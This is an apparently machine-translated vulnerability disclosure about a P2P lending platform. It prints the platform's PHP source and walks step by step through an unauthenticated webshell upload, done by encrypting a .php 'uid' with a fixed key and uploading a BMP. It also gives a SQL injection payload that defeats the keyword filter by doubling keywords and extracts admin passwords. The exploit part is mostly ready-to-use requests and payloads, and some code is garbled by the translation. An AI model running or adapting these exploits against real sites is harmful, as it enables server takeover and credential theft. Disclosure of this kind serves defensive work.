Getshell + two SQL injections at the front-end of the p2p online lending system (ignore any defense and no logon required)
The demo has a dongle.
Looking at the official website descriptions, it is still quite cool.
Http://www.shangdaixitong.com/index.html
Detailed description:
Code Location: plugins \ avatar. class. php
function onuploadavatar() {@header("Expires: 0");@header("Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE);@header("Pragma: no-cache");//header("Content-type: application/xml; charset=utf-8");$this->init_input($this->getgpc('agent', 'G'));$uid = $this->input('uid');if(empty($uid)) {return -1;}if(empty($_FILES['Filedata'])) {return -3;}list($width, $height, $type, $attr) = getimagesize($_FILES['Filedata']['tmp_name']);$imgtype = array(1 => '.gif', 2 => '.jpg', 3 => '.png');$filetype = $imgtype[$type];$tmpavatar = AVATAR_DATADIR.'./tmp/upload'.$uid.$filetype;file_exists($tmpavatar) && @unlink($tmpavatar);if(@copy($_FILES['Filedata']['tmp_name'], $tmpavatar) || @move_uploaded_file($_FILES['Filedata']['tmp_name'], $tmpavatar)) {@unlink($_FILES['Filedata']['tmp_name']);list($width, $height, $type, $attr) = getimagesize($tmpavatar);if($width < 10 || $height < 10 || $type == 4) {@unlink($tmpavatar);return -2;}} else {@unlink($_FILES['Filedata']['tmp_name']);return -4;}$avatarurl = AVATAR_DATAURL.'/tmp/upload'.$uid.$filetype;return $avatarurl;}
First, use $ this-> init_input ($ this-> getgpc ('agent', 'G ');
function init_input($getagent = '') {$input = $this->getgpc('input', 'R');if($input) {$input = $this->authcode($input, 'DECODE', 'deck');parse_str($input, $this->input);$this->input = $this->daddslashes($this->input, 1, TRUE);$agent = $getagent ? $getagent : $this->input['agent'];if(($getagent && $getagent != $this->input['agent']) || (!$getagent && md5($_SERVER['HTTP_USER_AGENT']) != $agent)) {exit('Access denied for agent changed');} elseif($this->time - $this->input('time') > 3600) {exit('Authorization has expired');}}if(empty($this->input)) {exit('Invalid input');}}
You can see $ input = $ this-> authcode ($ input, 'decode', 'desc'); the key is fixed. This process is encrypted by the dz function, and then registers the variable. Let's look back at this code.
$tmpavatar = AVATAR_DATADIR.'./tmp/upload'.$uid.$filetype;
If the uid and filetype variables are controllable, it would be fun.
Where
$uid = $this->input('uid');
This uid is certainly controllable. Then continue to see
list($width, $height, $type, $attr) = getimagesize($_FILES['Filedata']['tmp_name']);$imgtype = array(1 => '.gif', 2 => '.jpg', 3 => '.png');$filetype = $imgtype[$type];
This is a good bypass. We only need to upload an image in bmp format. Because bmp is no longer in this array, the $ filetype obtained is null.
Then all the conditions are met. You only need to encrypt the uid = a PHP file name. Details: vulnerability proof
Injection
For the code, see plugins \ html \ areas. inc. php.
Function gbk2utf8 ($ str) {return iconv ("GBK", "UTF-8", $ str);} $ order = "order by 'order' desc, id asc "; if (isset ($ _ GET ['area _ id']) {$ city = $ _ GET ["area_id"]; $ SQL = "select * from {areas} where pid = ". $ city. $ order; // inject 1 $ result = $ mysql-> db_fetch_arrays ($ SQL); $ category ['id'] = ""; $ category ['name'] = gbk2utf8 ("select"); $ categorys [0] = $ category; if ($ result! = False) {foreach ($ result as $ key => $ row) {$ category = array (); $ category ['id'] = $ row ['id']; $ category ['name'] = gbk2utf8 ($ row ['name']); $ categorys [$ key + 1] = $ category ;}} $ json = json_encode ($ categorys); echo $ json; exit;} if (isset ($ _ REQUEST ['value']) {$ _ REQUEST ['region'] =_ _ REQUEST ['value'];} $ name = isset ($ _ REQUEST ['name'])? $ _ REQUEST ['name']: ""; $ type =! Isset ($ _ REQUEST ['type'])? "": $ _ REQUEST ['type']; $ class =! Isset ($ _ REQUEST ['class'])? "": $ _ REQUEST ['class']; if ($ type! = "") {$ _ Type = explode (",", $ type);} else {$ _ type = array ("p", "c ", "a") ;}$ province_id = ""; $ city_id = ""; $ area_id = ""; if (isset ($ _ REQUEST ['are']) & $ _ REQUEST ['region']! = "") {$ Id = $ _ REQUEST ['are']; $ SQL = "select pid from {areas} where id = $ id ". $ order; // inject two $ result1 = $ mysql-> db_fetch_array ($ SQL); if ($ result1 = "") $ result1 ['pid'] = 0; if ($ result1 ['pid '] = 0) {$ province_id = $ id;} else {$ SQL = "select pid from {areas} where id = ". $ result1 ['pid']. $ order; $ result2 = $ mysql-> db_fetch_array ($ SQL); if ($ result2 ['pid '] = 0) {$ province_id = $ result1 ['pid ']; $ city_id = $ id;} else {$ province_id = $ result2 ['pid']; $ city_id = $ result1 ['pid ']; $ area_id = $ id ;}}}
Check plugins \ index. php.
include ("../core/config.inc.php");$q = !isset($_REQUEST['q'])?"":$_REQUEST['q'];$q= str_replace(array('.',''), array('%',''), $q);$file = "html/".$q.".inc.php";if (file_exists($file)){include_once ($file);exit;}?>
Included through this. However, there is a global waf. This waf completely invalidates the dongle.
function inject_check($sql_str) {$sql = array('select', 'insert', '\\\'', '\\/\\*', '\\.\\.\\/', '\\.\\/', 'union', 'into', 'load_file', 'outfile');$sql_re = array('', '', '', '', '', '', '', '', '', '', '', '');return str_replace($sql, $sql_re, $sql_str);}
I smiled at this. If you write it twice, it will not be bypassed. And no dog can recognize it.
The second injection is similar
Proof of vulnerability:
Getshell Process
Step 1
urlencode(authcode('uid=xx.php&agent=40c090704abef6fda9db2db421e5beef&time=1440325609','ENCODE', 'deck'));
Obtain the encrypted ciphertext first
2967F8nf9PUYEJQ9XStSVchk%2FditTPbsewF5I7MldaFsxaY0LpRvvqQwb39IPSQjo0pJ3HjrsfzsWi67GZuAsg4NwNk7mKX79AOk5LFS5Ym03iWCNl6Fy13wZo4wfQ
Then construct
/plugins/avatar/index.php?m=user&inajax=1&a=uploadavatar&appid=1&input2967F8nf9PUYEJQ9XStSVchk%2FditTPbsewF5I7MldaFsxaY0LpRvvqQwb39IPSQjo0pJ3HjrsfzsWi67GZuAsg4NwNk7mKX79AOk5LFS5Ym03iWCNl6Fy13wZo4wfQ&agent=40c090704abef6fda9db2db421e5beef&avatartype=virtual
Just upload a bmp file like this address.
Shell is successful.
As this is an encrypted and decrypted operation, it is useless for dongle.
Injection
?plugins&q=areas&area_id=1%20ununionion%20selselectect%201,password,3,4,5,6,7,8,9%20from%20tuanshang_users_admin%20limit%204%23
Solution:
Good filtering, global rewriting, random key.